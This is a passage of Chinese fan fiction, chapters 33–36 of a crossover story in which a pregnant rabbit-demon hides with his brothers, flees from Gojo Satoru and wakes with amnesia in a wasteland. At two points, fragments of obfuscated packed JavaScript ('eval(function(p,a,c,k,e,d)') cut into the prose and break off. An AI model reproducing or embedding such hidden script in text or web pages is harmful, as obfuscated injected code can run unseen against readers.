不是战斗,不是任务,不是那些乱七八糟的计划。 是早晨。公寓里,阳光从窗户照进来。五条悟站在厨房里,穿着那件深蓝色的旧衬衫,头发乱翘,睡眼惺忪地给他热牛奶。牛奶在锅里冒着热气,五条悟打了个哈欠,回头看他,笑着说:“马上就好,再等一下。” 那双冰蓝色的眼睛,盛满了笑意。 涂白闭上眼睛。 对不起。回不去了。 --- 同一时间,横滨。 涂宝从床上猛地弹起来。 他大口喘着气,心跳快得像要从胸腔里蹦出来。后背全是冷汗,睡衣湿透了贴在身上。 梦。不对,不是梦。 是感应。 三胞胎之间的那种感应。涂白在叫他。在极度痛苦地叫他。 涂宝跳下床,连鞋都没穿就冲到书桌前,抓起手机。手指在抖,按了好几次才解锁屏幕。他找到涂兔的号码,拨过去。 铃响一声就被接起来了。 “哥?”涂兔的声音从电话那头传来,也在抖,“你感觉到了吗?” “二宝出事了。”涂宝说,声音哑得不像自己,“在哪?” “山林……东京郊外的山林。我能感觉到方向,但说不清具体位置。” “我马上过去。”涂宝挂断电话,转身就往外冲。 拉开门,走廊里站着一个人。 沙色的长款风衣,黑色的头发微卷,鸢色的眼睛慵懒地半眯着,但此刻正认真地盯着他。 太宰治。 “这么晚了,去哪?”太宰问,语气听起来轻松,但人已经挡在了门口。 “让开。”涂宝说,声音冷下来。 太宰没动:“宝儿,你脸色很差。出什么事了?” “我弟弟出事了。”涂宝说,绕过他就想走。 太宰伸手拉住他:“你这样冲出去有用吗?知道他在哪吗?知道怎么救他吗?” 涂宝甩开他的手,眼睛红了:“我不管!我必须去!” 太宰看着他,沉默了一秒,然后他叹了口气。 “走吧。”他说。 涂宝愣住:“你——” “陪你一起去。”太宰说,“你一个人去我不放心。而且,万一需要帮忙呢?” 涂宝盯着他看了两秒,然后转身就跑。 太宰跟在后面,脚步轻快,但眼神很沉。 --- 意大利,佛罗伦萨。 涂兔的手机响的时候,他正在画室里画画。深夜,一个人,只有窗外的月光照进来。 他接起电话,听到涂宝的声音,手里的画笔“啪”地断了。 挂了电话,他站在原地,手指在发抖。 然后他转身,冲出门。 泽田纲吉的房间在走廊尽头。涂兔敲了几下没人应,直接推门进去。 床上的人被惊醒了,坐起来,棕色的头发乱糟糟的,棕褐色的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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泽田纲吉最后一个落地,黑色的西装外披着彭格列的黑色大衣,棕褐色的眼睛沉静如水。他挡在所有人前面,对着三个咒灵,声音平稳: “几位,能不能给个面子,放过这个孩子?” 胀相盯着这几个突然出现的人,眼神变了。 三个咒灵,四个人类——不,不全是人类。那两个红眼睛的,和地上的兔子一样,是妖族。 “哥哥……”血涂往后退了一步,本能地靠近坏相。 坏相皱眉,看向胀相。 胀相沉默了几秒。他的视线在太宰和泽田纲吉身上停留了很久——这两个人,身上的气息不简单。 最后,他的视线落在地上蜷缩着的涂白身上。 小腹那里,有微弱的能量波动。那是什么? 他皱了皱眉。 “走。”他转身。 坏相愣了一下:“大哥?” “任务失败。”胀相头也不回,“回去复命。” 坏相看了涂宝和涂兔一眼,又看了看涂白,最后拉着血涂,跟着胀相消失在树林深处。 咒力波动渐渐远去。 涂宝腿一软,跪在地上,转身抱住涂白。 “二宝!二宝你怎么样?你别吓我……”他哭着,手忙脚乱地想擦涂白脸上的血,又不敢碰那些伤口。 涂兔蹲下来,攥紧的刀终于松开,变回小小的水果刀。他咬着嘴唇,眼眶红红的,但没哭。 “哥……”他小声叫,“哥你醒醒……” 涂白睁开眼睛。 视线模糊,看不清人脸,但他听见了声音。 大哥的哭声。小弟的声音。 他扯了扯嘴角,想笑,但脸上太疼了,笑不出来。 “你们……来了啊……”他小声说,声音沙哑得像砂纸。 涂宝哭得更凶了:“废话!我们当然要来!你差点死了你知不知道!” 涂白没力气回话。他闭上眼睛,手还护着小腹。 还好,宝宝没事,还在。 泽田纲吉走过来,蹲下,检查了一下涂白的伤势。他抬头看向太宰:“得赶紧处理伤口,那些毒还在扩散。” 太宰点点头,拿出手机开始打电话。 涂兔伸手,握住涂白的手,握得很紧。 “哥,没事了。”他小声说,“我们来了。谁也不能再伤害你。” 涂白没说话。他已经昏过去了。 涂宝抱起涂白,小心翼翼地,像是抱着什么易碎的东西。 “回家。”他说,声音还在抖,“我们回家。” 太宰走过来,伸手扶住他的肩膀。 “嗯,回家。” 而涂白在他哥怀里,沉沉地睡着。梦里,好像又看见了那双冰蓝色的眼睛,和那杯冒着热气的牛奶。 他好像在笑。 又好像在哭。 34.第34章 :错过 五条悟落在这片山林的时候,月亮刚好从云层后面露出来。 他站在原地,六眼全开,扫描着周围的一切。被斩断的树木,切口参差不齐,有的是刀痕,有的是腐蚀造成的断裂。地面上有大片焦黑的痕迹,空气中残留着咒力与妖力交织的气息。 是战斗残留的痕迹。而且是刚结束不久。 五条悟往前走,蹲下来,手指划过地面。焦黑的土壤还带着余温,几滴已经干涸的血迹——暗红色的,在月光下泛着不祥的光。 他指尖碰到血迹的瞬间,六眼捕捉到了残留的能量信息。 是涂白的妖力。 还有别的——两股相似的妖力,波动频率很接近。另一个是咒力的残秽,三股不同的气息,但源头相似。 五条悟站起来,眼神更冷了。 他追踪着最清晰的撤离痕迹——那是一股空间波动的涟漪,像是某种跳跃能力留下的。他追出几百米,穿过树林,越过小溪,最后来到一条山间公路的路口。 痕迹在这里消失了。 不是逐渐减弱,而是突然中断,像是被什么东西一刀斩断。残留的空间波动戛然而止,后面的路干净得像是从来没出现过任何东西。 五条悟站在路口,闭上眼睛,六眼再次全开。 没有。什么都没有。 他睁开眼,冰蓝色的眼眸在月色里发着微光。眼罩早在追踪途中就被他扯掉了,此刻那张脸上没有任何表情,只是静静地站在那里,盯着空荡荡的公路。 风从山口吹来,带着夜晚的凉意。他的白发被吹乱了,几缕落在额前。 他握紧拳头,又松开。 几分钟前,这里一定有什么人经过。带着小白的人。他们抹去了痕迹,做得干净利落,不是普通人能做到的。 是谁? 救他的人?还是另一批想抓他的人? 五条悟不知道。他只知道,他又晚了一步。 他想起在公寓里发现小白不见的那一刻,那堆挣扎的痕迹,被干扰的定位信号,还有总监会那张遣返令以及那些老橘子们恶心的嘴脸。 他以为自己是最强的。只要他在,就没有人能伤害小白。 可现在,小白不见了,而他连痕迹都追丢了。 五条悟站在路口,很久没有动。 最后,他低下头,轻声说了一句: “小白……” 声音很轻,被风吹散。 他转身,朝来时的方向走回去。身后,月光洒在空荡荡的公路上,照不出任何痕迹。 而在几分钟前,这条公路上确实有车驶过。 一辆黑色的商务车,车窗贴着深色的膜,速度很快,朝着横滨的方向开。 车里,涂宝坐在后座,怀里抱着昏迷的涂白。涂兔坐在另一边,握着涂白的手,眼睛红红的。 驾驶座上,太宰治握着方向盘,从后视镜里看了他们一眼。 “后面有追兵吗?”他问。 涂宝摇头:“感应不到。应该甩掉了。” 太宰点点头,踩下油门。 “坐稳了,要提速了。” 车在夜色里疾驰,很快消失在公路尽头。 --- 涂白醒过来的时候,第一感觉就是疼。 全身都疼。手臂上被毒血溅到的地方火烧一样,脸上也火辣辣的,还有腹部——小腹那里一抽一抽地疼,像是有什么东西在里面翻搅。 他下意识伸手去摸,摸到的是软软的被子,还有自己平坦的腹部。 宝宝还在。但能感觉得到它很不稳定,一会儿强一会儿弱,明灭不定。 “二宝!” 熟悉的声音在旁边响起。涂白转过头,看见涂宝的脸凑过来,眼睛肿得像核桃,粉色的小卷毛乱糟糟的,娃娃脸上全是泪痕。 “你醒了!你终于醒了!”涂宝又要哭了,“你昏了两天你知道吗!吓死我了呜呜呜……” 两天? 涂白想说话,但嗓子干得像砂纸,只发出一点嘶哑的气音。 涂兔端着一杯水过来,银白色的长卷发披散着,桃花眼红红的,但没哭。他把水递给涂白,轻声说:“慢点喝。” 涂白接过来,小口小口地喝。温水顺着喉咙流下去,终于舒服了一点。 他放下杯子,打量着周围。 一个陌生的房间,不大,但收拾得很干净。榻榻米,矮桌,壁橱。窗户拉着窗帘,看不见外面。 “这是哪?”他问,声音还哑。 “横滨。”涂宝说,“太宰先生的地方,很安全。” 太宰先生。 涂白想起那个穿着沙色风衣的男人。他之前见过,是涂宝的男朋友。 “他……”涂白开口,又停住。 涂宝知道他想问什么:“是他救的我们。他和……还有涂兔的那个朋友。他们帮忙把那三个坏蛋打跑了。” 三个坏蛋……涂白想起森林里的三个咒灵。 “他们是谁?”他问。 “不知道。”涂宝摇头,“但很厉害。要不是太宰先生他们,我和涂兔可能打不过。” 涂白沉默了几秒。然后他想起另一件事。 五条悟。 “前辈他……”他开口,又停住。 涂宝和涂兔对视一眼。涂兔犹豫了一下,说:“他……在找你。” 涂白的心跳漏了一拍。 “找你找得很疯。”涂兔继续说,声音很轻,“咒术界那边消息都传遍了。五条悟发疯一样在东京到处找,听说还闯了总监会,把人家大楼震碎了半边。” 涂白愣住了。 闯总监会?震碎大楼? “他没事吧?”他脱口而出。 涂兔看了他一眼,眼神有点复杂:“他能有什么事。他可是最强。倒是你——” 他顿了顿,没往下说。 涂白低下头,看着手里的水杯。 五条悟在找他。发疯一样地找。 他应该高兴的。这说明那个人在乎他,很在乎。可为什么他心里这么乱? 因为那个计划。就算没有这个意外,他本来也是要跑的,现在顶多算是计划提前了。 门被拉开的声音打断了涂白的思绪。 太宰治走进来,手里端着一个托盘。他把托盘放在矮桌上,里面是几碗粥和几碟小菜。 “醒了?”他看向涂白,鸢色的眼睛里带着点探究,“感觉怎么样?” 涂白点点头,又摇摇头。他不知道该怎么形容。 太宰在榻榻米上坐下,盘着腿。他今天没穿那件沙色风衣,只穿着简单的白色衬衫和长裤。 “先吃点东西。”他说,把粥推到涂白面前,“你妖力亏空得太厉害,得补。” 涂白接过粥,慢慢喝了一口。就是普通的白粥,没什么味道,但温热的东西进到胃里,确实舒服了一点。 太宰看着他喝粥,等了一会儿,开口说: “有件事得告诉你。” 涂白抬起头。 “咒术界那边还在施压。”太宰说,语气平静,“你那个……嗯,五条悟,虽然暂时把遣返令压下去了,但那些老家伙不会善罢甘休。你在他们眼里就是‘异类’,很碍眼。” 涂白没说话。 “还有那天抓你的人。”太宰继续说,“查到了点线索,不知道什么来路,但肯定不是普通人。他们还在找你,只是暂时蛰伏。” 涂白想起那个穿着黑色袈裟、额头有缝合线的男人。 “他现在在哪?”他问。 太宰摇头:“不知道。那天之后他们就消失了,一点痕迹都没留下。但肯定会再次出现。” 涂白沉默了。 太宰盯着他看了几秒,突然问: “你现在打算怎么办?” 涂白抬起头,对上那双鸢色的眼睛。那眼睛里没有笑,只有一种冷静的、审视的目光。 “你的‘孕期’可经不起更多折腾了。”太宰说,语气很轻,但每个字都像敲在涂白心上,“继续这样下去,不管是被抓回去,还是被追杀,对你和孩子都不好。” 涂白的手下意识地抚上小腹。 他深吸一口气,抬起头,看着太宰,涂宝,还有涂兔。 “计划不变。”他说,声音很平静,但很坚定,“我需要尽快恢复,然后……离开。” 涂宝愣住了。涂兔的脸色变了一下。 “离开?”涂宝的声音都变了,“去哪?” “不知道。”涂白说,“越远越好。北欧,或者南美。有妖族社区的地方。” “可是……”涂宝急得又要哭了,“你肚子里还有宝宝!你一个人怎么行!” “我可以。”涂白说,语气很淡,“本来就是这样打算的。” 涂宝张了张嘴,说不出话。 涂兔沉默了一会儿,问:“那他呢?” 他没说名字,但三个 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涂宝哭得更凶了:“可是你是我弟弟……” “我会照顾好自己的。”涂白说,“你忘了?我可是我们三兄弟里最精的那个。” 涂宝不说话,只是抱着他哭。 涂白看向涂兔。涂兔坐在原地,银白色的长发垂下来,遮住了半张脸。但涂白能看见,他的手指在微微发抖。 “兔兔。”涂白叫他。 涂兔抬起头。 “你也一样。”涂白说,“泽田先生对你很好。别因为我,耽误了你自己。” 涂兔没说话。他沉默了几秒,然后伸出手,握住涂白的手。 握得很紧。 涂白感觉眼眶有点热。他用力眨了眨眼,把那点热意压下去。 “没事的。”他说,声音轻轻的,“真的没事的。我就是……换一个地方生活。你们想我了,可以来看我。又不是见不到了。” 涂宝还在哭。涂兔不说话,只是握着他的手。 太宰站起来,走到门口。 “你们慢慢聊。”他说,拉开门,“有什么事叫我。” 他走出去,轻轻关上门。 房间里只剩下三兄弟。 涂白看着涂宝哭红的眼睛,涂兔发红的眼眶,心里堵得慌。 他想起小时候,三只小兔子挤在一个窝里睡觉。那时候什么也不用想,有爸妈,有哥哥弟弟,什么都不怕。 现在他们都长大了。有了各自的生活,也都有了各自的牵挂。 而他,要走了。 涂白深吸一口气,挤出一个笑: “别哭了,再哭眼睛肿得更厉害了。到时候太宰先生该嫌弃你了。” 涂宝瞪他一眼,抽抽噎噎地说:“他才不会……他敢……” 涂白笑了一下。又看向涂兔。 “你也是,别老欺负泽田先生。” 涂兔抿了抿嘴,没说话。 涂白靠在床头,手放在小腹上。那里有一个小小的生命,在告诉他:你还有我。 “我会没事的。”他说,像是在对他们说,也像是在对自己说,“等我安顿好了,就给你们消息。” 涂宝抬起头,眼睛红红的:“真的?” “真的。”涂白说,“我什么时候骗过你。” 涂宝想了想,好像……确实没骗过。 涂兔沉默了一会儿,终于开口:“什么时候走?” 涂白想了想:“等我恢复一点。三五天吧。” 涂兔点点头。 “那这几天,我们陪着你。”他说。 涂白看着他,突然觉得眼眶又有点热。 “好。”他轻声说,“陪着我。” 窗外的月光从窗帘缝隙里漏进来,在地板上投下一小片银白。 横滨的夜很安静。 而这间小小的房间里,三只兔子挤在一起,像小时候那样。 涂白闭上眼睛。 脑海里又浮现出那双冰蓝色的眼睛,和那杯冒着热气的牛奶。 他把那个画面压下去,压到心底最深处。 对不起,前辈,我赌不起,或许你会在未来某一天觉得腻了,厌弃我,又或许你不会,但是为了宝宝,我宁愿他一开始就只有一个爸爸。 所以,我必须走。 35.第35章 :兔子的尾巴碰不得 涂白在横滨的藏身处待了五天。 五天的休养,身体总算恢复了一点。毒血造成的伤口结了痂,妖力也慢慢回流,虽然离全盛时期还差得远,但至少能动用一部分了。 第五天晚上,他坐在房间的榻榻米上,面前摊着几样东西。 一副面具。银色的,表面有细密的妖纹,戴上去可以暂时改变容貌。他花了两个晚上构筑的,消耗了不少妖力,但值得。 几个巴掌大的小物件。有的是兔子形状,有的是普通的石头样子,都附着他的妖力气息。到时候往不同的方向扔几个,足够误导追踪的人。 还有一个小玩偶。 涂白拿起那个玩偶,端详着。 巴掌大,黑毛,红眼睛,和他的兔子原型一模一样。耳朵软软地垂着,尾巴是个小小的绒球,连爪子上的肉垫都做出来了。 这是他花了最长时间构筑的东西。不止是外形,内部还有复杂的妖纹回路,可以储存一小段信息。 涂白把玩偶翻过来,看着它的红眼睛。 那双眼睛和他自己的一样,红宝石色,亮晶晶的。 他深吸一口气,闭上眼睛,把妖力注入玩偶。 玩偶的耳朵轻轻动了一下。 涂白开口,声音很轻: “前辈……” 刚说了两个字,他就停住了。 喉咙像被什么东西堵住,怎么都发不出声音。他清了清嗓子,又试了一次: “前辈,我……” 又停住了。 涂白咬了咬嘴唇,低下头,盯着玩偶。房间里很安静,只有窗外的风声偶尔传来。 他深吸一口气,第三次开口: “对不起。” 这次说出来了。虽然声音有点抖,但说出来了。 “还有……谢谢。” 他顿了顿,手指摩挲着玩偶的耳朵。软软的,毛茸茸的,和他自己的耳朵一样。 “照顾好自己。” 没了。 他本来想多说几句的。想解释,想说明,想把那些藏在心里的话都说出来。可到了嘴边,就只剩下这三句。 对不起。谢谢。照顾好自己。 涂白盯着玩偶,眼眶有点热。他用力眨了眨眼,把那点热意压下去。 他把玩偶放在一边,靠在墙上,闭上眼睛。 够了。这样就够了。 门外传来轻轻的脚步声。涂白睁开眼睛,看向门口。 门被拉开一条缝,涂宝的脑袋探进来,粉色的小卷毛乱糟糟的。 “二宝,还没睡?” “没。” 涂宝溜进来,手里端着一杯牛奶。他在涂白旁边坐下,把牛奶递过去。 “喝点热的。有助于睡眠。” 涂白接过牛奶。杯子温热的,透过玻璃传到掌心。 他低头喝了一口。牛奶是甜的,加了蜂蜜。 “兔兔呢?”他问。 “在洗澡。”涂宝说,顿了顿,“明天就要走了?” “嗯。” 涂宝沉默了几秒。然后他靠过来,把脑袋靠在涂白肩膀上。 “我会想你的。”他小声说。 涂白没说话。他抬手,揉了揉涂宝的头发。 门又被推开了。涂兔穿着睡衣走进来,银白色的长发湿漉漉地披着,桃花眼红红的——不知道是洗澡的水汽,还是别的什么。 他走过来,在涂白另一边坐下,挤了挤,把自己塞进涂白和涂宝中间。 “挤死了。”涂白说,但没推开他。 涂兔没说话。他伸手,握住涂白的手。 三个人挤在一起,像小时候那样。 涂白低头,又喝了一口牛奶。甜的,暖的,顺着喉咙流下去。 窗外的横滨夜景很漂亮。高楼大厦的灯光,远处摩天轮的轮廓,偶尔有车驶过的声音。 但涂白看着那些灯火,心里却空落落的。 他想起另一个地方的夜景。东京的,公寓楼下的,还有那个人站在窗边打电话的背影。 他放下牛奶杯,从枕头下面摸出手机。 屏幕亮起来。他划开相册,找到最下面那张照片。 这是他自己偷拍的。那天在甜品店,五条悟正在吃草莓蛋糕,嘴角沾了一点奶油。他举着叉子,好像在说什么,眼睛弯弯的。涂白坐在他对面,趁他不注意,按下了快门。 照片里,五条悟的侧脸很好看。白色的睫毛,高挺的鼻梁,笑起来的样子像个孩子。 涂白盯着那张照片,看了很久。 徒兔凑过来,看了一眼:“是他?” “嗯。” “长得很帅。”涂兔说,“比照片里还帅吗?” “……嗯。” 涂兔没再问了。他把头靠回涂白肩膀上,安静地待着。 屏幕的光渐渐暗下去。涂白没有重新点亮,只是把手机握在手里,感受着那点残余的温度。 跑,是对的。 他告诉自己。 可是跑了之后呢? 那个“孩子”,那个因五条悟而存在的宝宝,在失去父亲、远离故土、隐瞒身份的未来里,真的会幸福吗? 他低头看着小腹。那里还平坦着,但他能感觉到那团温暖的存在。它安静地待着,像一个小小的生命,在等待一个未知的未来。 涂白突然觉得很迷茫。 从制定计划到现在,他从来没想过这个问题。他只想跑,只想安全,只想把孩子生下来,好好养大。 可他从来没想过,孩子长大了会问什么。 “爸爸呢?” “为什么我们没有家?” “那个人是谁?” 他不知道该怎么回答。 涂兔突然开口了,声音很轻: “二哥。” “嗯?” “不管你做什么决定,我们都支持你。” 涂白愣了一下,转头看向涂兔。桃花眼红红的,但眼神很认真。 涂宝也抬起头,看着他:“对,我们都支持你。你想跑,我们就帮你跑。你想留……我们就陪你留。” 涂白看着他们,突然觉得眼眶又热了。 他低下头,盯着手里的牛奶杯。杯子里的牛奶已经凉了一点,但还是温的。 “嗯。”他轻声说,“我知道。” 他端起杯子,又喝了一口。 很甜。 窗外,横滨的夜景依然璀璨。摩天轮在缓缓转动,远处的霓虹灯闪烁着各种颜色。 而在这间小小的房间里,三只兔子挤在一起,安静地待着。 涂白靠在涂宝肩膀上,涂兔靠在他肩膀上,三个人像小时候那样,挤成一团。 他闭上眼睛。 今晚不想了。 明天的事,明天再说。 --- 与此同时,东京。 五条悟站在公寓的窗前,手里握着手机。 屏幕上是和涂白的聊天记录。最后一条消息,是涂白发来的那个兔子点头的表情包。 他盯着那个表情包,看了很久。 小白最后发给他的,就是这个小兔子。 他记得那天他发消息说“给你带限定樱花大福”,小白回了这个表情包。他当时看着那个点头的小兔子,还在想,等回去了一定要拍张小白吃大福的照片。 然后就再没见过小白。 五条悟闭上眼睛。 这几天他做了很多事。清洗了一批和袭击事件有关的保守派,把几个跳得最欢的老家伙直接送进了医院。咒术界现在风声鹤唳,没人敢再提“遣返”两个字。 但那又怎样? 小白还是没找到。 手机震了一下。是硝子发来的消息。 【今天又被总监会的人盘问了。关于涂白的检查记录。】 五条悟皱了皱眉,打字回复:【你怎么说?】 【医疗保密。他们拿我没办法。】硝子顿了顿,又发了一条,【但我得提醒你,他的身体情况特殊。长时间妖力不稳和情绪剧烈波动,对那个“状态”没好处。你必须尽快找到他,稳定下来。】 五条悟盯着那条消息,手指慢慢收紧。 那个“状态”。那个孩子。 小白一个人在外面,妖力不稳,情绪波动,还有那些想抓他的人…… 他不敢想下去。 他退出和硝子的聊天,又回到和涂白的聊天界面。 那个兔子点头的表情包还在那里,小脑袋一点一点的,像是在说“好”。 五条悟看着它,突然觉得眼眶有点酸。 他闭上眼睛,深吸一口气。 再睁开时,那双冰蓝色的眼睛里,翻涌着某种决绝。 他划开通讯录,找到一个号码,拨了出去。 —— 天还没亮透,涂白就醒了。 他睁开眼睛,盯着天花板看了几秒。陌生的天花板,不是五条悟公寓那个。横滨这间小房间的屋顶是木头的,有几道裂缝,角落里结着一点蜘蛛网。 涂宝还在睡。粉色的小卷毛乱成一团,脸埋在枕头里,呼吸很轻。涂兔昨晚回自己房间了,说是要收拾东西,其实是怕挤在一起睡不好。 涂白轻手轻脚地坐起来,下床,赤脚踩在榻榻米上。 他走到窗边,拉开一点窗帘。 外面还是灰蒙蒙的,天边只有一线浅白。横滨的街道很安静,偶尔有一辆车驶过。 今天要走。 涂白深吸一口气,转身开始收拾东西。 东西不多。一个背包,换洗衣服,证件——那个假身份已经准备好了,名字叫“白川悠”,国籍是瑞典,完美到查不出任何问题。还有一点现金,几张卡,以及…… 他拿起那个黑色的兔子玩偶,看了看。 巴掌大,黑毛红眼,和他一模一样。耳朵软软地垂着,尾巴是个小绒球。 他把玩偶翻过来,摸了摸它的小肚子。那里藏着一段录音,三句话。 对不起。谢谢。照顾好自己。 涂白盯着玩偶看了几秒,然后把它和别的东西一起放进背包。 他又从口袋掏出那张黑卡。 五条悟给他的那张,无限额的。卡里还有不少钱,但他没动。这几个月转出去的资金已经够了,足够他在北欧安稳地生活几年。 这张卡,他不想带走。 涂白把卡放在矮桌上,和那个兔子玩偶放在一起。 他看着这两样东西,站了很久。 然后他背上背包,最后看了一眼这个住了五天的房间,拉开门走出去。 客厅里,太宰治正靠在沙发上看书,看见他出来,抬了下眼皮。 “这么早?” “嗯。”涂白说,“赶早班车。” 太宰放下书,站起来。他从茶几上拿起一个信封,递给涂白。 “拿着。路上用。” 涂白愣了一下,接过信封,打开一看,里面是一叠现金,不少。 “这……” “别客气。”太宰说,鸢色的眼睛看着他,“就当是……送弟弟的礼物。” 涂白张了张嘴,不知道该说什么。最后他点点头,把信封塞进背包。 “谢谢。”他说。 太宰摆摆手:“宝儿还在睡,要我叫醒他吗?” 涂白摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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五条悟站在鸟居下面,逆着光,看不清表情。但那双冰蓝色的眼睛在阴影里发着微光,直直地盯着他。 他没戴眼罩。没戴墨镜。那张脸上什么遮挡都没有,只有那双眼睛,像两簇冰冷的火,锁定着涂白。 他喘着气,胸口起伏着,像是用尽一切手段赶过来的。 涂白僵在原地,动弹不得。 五条悟一步一步走上石阶,脚步声在寂静的神社里格外清晰。 “你要去哪?”他问,声音沙哑,“带着我们的孩子,要去哪?” 涂白后退一步,后背撞上主殿的门框。 “我……” “你知道我找你找了多久吗?”五条悟走近一步,声音还是哑的,“你知道我有多担心吗?” 涂白又退一步,退进殿里。 五条悟跟进来,站在他面前,居高临下地看着他。那双冰蓝色的眼睛里翻涌着太多东西——懊悔,愤怒,担忧,还有更深沉的、几乎要溢出来的什么。 “你就这么不信我?”他问,声音很低,“连一个解释的机会都不给?” 涂白咬着嘴唇,不说话。他的手护在小腹上,眼神躲闪着,不敢看那双眼睛。 五条悟伸出手,想拉他。 涂白后退,后背撞上什么东西——那个神龛。神龛震动了一下,石镜发出轻微的嗡鸣。 五条悟的手抓住他的手腕。 “跟我回去。”他说,“有什么事我们回去说。” “我不回去!”涂白用力挣,挣不开。他急了,妖力随着情绪开始波动,头顶突然冒出一对黑色的兔耳朵,尾巴也从尾椎那里弹出来,毛茸茸的。 五条悟愣了一下。 就这一下,涂白挣开他的手,往旁边躲。 但五条悟反应更快,伸手去抓——没抓到手腕,只来得及攥住一样东西。 毛茸茸的,软软的,热乎乎的。 是涂白的兔子尾巴。 涂白整个人僵住了。那地方太敏,感了,被抓住的瞬间,他浑身都软了,连妖力都乱了一瞬。 “你……你松手!”他又羞又急,脸涨得通红。 五条悟也愣住了。他没想到会抓到那里,但手却没收回来——不是不想,是怕一松手,人就跑了。 就在这时,神龛突然爆发出一阵刺眼的白光。 那面石镜像是活过来一样,光芒越来越强,越来越亮。整个空间开始扭曲,一股巨大的吸力从神龛中心传来,拉扯着周围的一切。 涂白被吸力往后拽,身体不受控制地向神龛倒去。 “小白!” 五条悟扑上来,想抓住他。他一只手攥着那毛茸茸的尾巴不放,另一只手伸过去想抱他。 涂白整个人往后仰,看见五条悟的脸凑过来,越来越近。 他也不知道哪来的力气,抬起脚,一脚踹在五条悟脸上。 “啪!” 一个清晰的鞋印,印在那张俊脸上。 五条悟眼睛都睁大了,但手还是没松。 然后两个人一起被吸进白光里。 光芒吞没了一切。 —— 不知过了多久,白光散去。 神社里恢复了寂静。主殿空荡荡的,神龛前空无一人。那面石镜静静地嵌在神龛中央,灰蒙蒙的,像是从来没什么事发生过。 只有地上,落着一个黑色的兔子玩偶。 巴掌大,黑毛红眼,耳朵软软地垂着。 它静静地躺在那里,仰面朝天,看着空荡荡的神殿。 没人来捡。 36.第36章: 兔子大王驾到! 臭味。 这是涂白醒来时第一个意识到的东西。 一股浓烈的、刺鼻的腐臭味,混着铁锈、焦糊和某种说不清的恶心味道,直往鼻子里钻。他干呕了一下,睁开眼睛。 入眼是一片灰蒙蒙的天。 然后是一堆堆的垃圾。 山一样的垃圾。生锈的铁架子,腐烂的布料,破碎的塑料,还有不知名的黑色液体在垃圾缝隙里流淌。远处有几只巨大的鸟在啄食什么,发出刺耳的叫声。 涂白躺在一堆相对平坦的垃圾上,慢慢坐起来。 头疼。太阳穴那里一跳一跳地疼,像是有什么东西在里面敲。他抬手想揉,看见自己的手——脏兮兮的,指甲缝里全是灰。 他盯着那只手,愣了几秒。 然后他发现自己什么都不记得了。 名字。他叫什么来着? 涂白。 对,涂白。他叫涂白。 别的呢? 他努力想,脑子里却一片空白。像是有一块巨大的白布,把所有的记忆都遮住了,只剩下这个名字,孤零零地浮在上面。 还有一件事。 他低头,看着自己的小腹。 那里微微隆起一点,不仔细看看不出来。但他能感觉到,里面有东西。一个小小的、温暖的、活着的……东西。 宝宝。 他有个宝宝。 涂白把手放在小腹上,那团温暖轻轻动了一下,像是在回应他。一股奇异的安心感从心底涌上来,驱散了一点头疼和恐惧。 要保护好他。 不管发生什么,都要保护好这个宝宝。 涂白撑着地站起来。腿有点软,但还能站住。他打量四周,试图搞清楚自己在哪里。 垃圾山。一望无际的垃圾山。远处有模糊的建筑轮廓,像是废弃的工厂或者仓库。天空灰蒙蒙的,看不见太阳,分不清是白天还是黄昏。 “喂。” 一个声音从背后传来。 涂白转过身。 几个人站在不远处,手里拿着铁棍和刀片。穿着破旧的衣服,脸上脏兮兮的,眼神像狼一样盯着他。 其中一个往前走了两步,上下打量着涂白——准确地说,是打量他身上的衣服。 涂白穿着卫衣和运动裤,虽然沾了灰,但比起那几个人的破烂衣服,简直像新的一样。 “外来的?”那个人问,咧嘴笑了,露出几颗黄牙,“衣服不错。” 其他几个人也笑了,慢慢围过来。 涂白没动。他站在那里,红眼睛盯着这些人,没有任何表情。 “把衣服脱了,包也留下。”第一个人说,晃了晃手里的铁棍,“我们就放你走。” 涂白低头看了看自己的衣服。卫衣,运动裤,背包——背包里有什么?他不知道,但应该是他的东西。 他又抬头看着那些人。 “让开。”他说,声音很平静。 几个人愣了一下,然后笑起来。 “哈,还挺横。” “外来的都这样,打一顿就老实了。” 第一个人又往前一步,伸手去抓涂白的背包带子。 就在他的手指碰到背包的瞬间,涂白动了。 他也不知道自己是怎么动的。身体像是自动反应一样,往旁边一闪,躲开那只手,同时右手虚空一握。 银色的光芒在掌心爆开。 一柄黑色的唐刀从光芒中凝聚出来,刀身修长,刀刃锋利,泛着冷光。 涂白握着刀,反手一挥。 “咔嚓——” 旁边一根生锈的钢架被一刀斩断,断口平滑得像切豆腐。钢架的上半截轰然倒下,砸在地上,扬起一片灰尘。 所有人僵住了。 那几个人的表情从贪婪变成恐惧,铁棍和刀片都忘了举,只是盯着那柄刀,盯着刀身上反射出来的银色光芒,盯着涂白那双冰冷的红眼睛。 涂白的头顶,一对黑色的兔耳朵竖着,微微颤动。 “我说让开。”他重复了一遍,声音还是很平静,但那股平静比任何威胁都可怕。 几个人后退几步,然后转身就跑。 铁棍和刀片扔了一地,没人敢捡。 涂白站在原地,看着他们跑远,直到消失在垃圾山的另一边。 他低头看了看手里的刀。刀身漆黑,泛着淡淡的银光,握在手里很稳。 他把刀收起来——不是放下,而是让它消散成银色的光点,融入掌心。 然后他转身,朝着那些人相反的方向走去。 要找个地方住。要有水,要干净一点。 宝宝需要干净的地方。 --- 三天后。 流星街三区,某片相对平整的区域,出现了一个“王”。 没有人知道他是从哪里来的。只知道三天前,一个头顶兔耳、红眼睛的少年突然出现在垃圾山里,用一把凭空变出来的刀,把三区原来的那几个恶霸砍得屁滚尿流。 那少年长得不难看,甚至可以说好看。黑色的卷发,红宝石一样的眼睛,皮肤白得不像在流星街生活过的人。但打起架来,简直像疯了一样。 有人不信邪,带着一群人去找麻烦。 那少年站在他构筑出来的小屋前,手里握着那柄黑刀,眼睛扫过那些人,只说了一句话: “滚。或者死。” 领头的人骂 